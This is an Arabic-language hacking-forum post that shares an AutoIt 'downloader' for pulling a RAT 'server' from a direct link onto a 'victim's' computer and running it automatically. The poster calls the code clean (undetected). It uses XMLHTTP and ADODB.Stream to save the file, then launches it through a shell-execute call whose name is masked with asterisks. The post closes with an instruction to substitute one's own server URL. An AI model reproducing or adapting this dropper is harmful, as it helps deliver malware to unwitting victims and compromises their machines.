كودAutoIt , , تحميل , الملف , وتشغيله , تلقائى(دونلودر , )
السلام عليكم اخواتى الاعزاء
اقدم لكم كود AutoIt لتحميل السرفر من رابط مباشر الى جهاز الضحيه (كلين)
كود:
; Thanks to sqebd;=======================================
Global $sFinal = @DesktopDir & "\URL.exe"
sDownloadFile("URL OF FILE")
Sleep(999)
s****************l("File Downloaded")
Func sDownloadFile($sLinkToDownload)
Local $ProtXML ,$sAStream
$ProtXML = ObjCreate("Microsoft.XMLHTTP")
$sAStream = ObjCreate("Adodb.Stream")
$ProtXML.Open("GET", $sLinkToDownload, 0)
$ProtXML.Send
$sAStream.Type = 1
$sAStream.Open
$sAStream.write($ProtXML.ResponseBody)
$sAStream.SaveToFile($sFinal)
$sAStream.Close
EndFunc
;Alternative ****************lexecute
Func s****************l($Path)
Local $****************l = ObjCreate("****************l.application")
$****************l.****************lExecute($Path, "")
EndFunc
طبعا مع مراعة تغير الون الاحمر برابط سرفرك المباشر
وشكرا واستنونا فى مزيد من اكواد بريفد هتطلع للناس
والسلام عليكم
;,]AutoIt jpldg hglgt ,jaydgi jgrhzn(],kg,]v )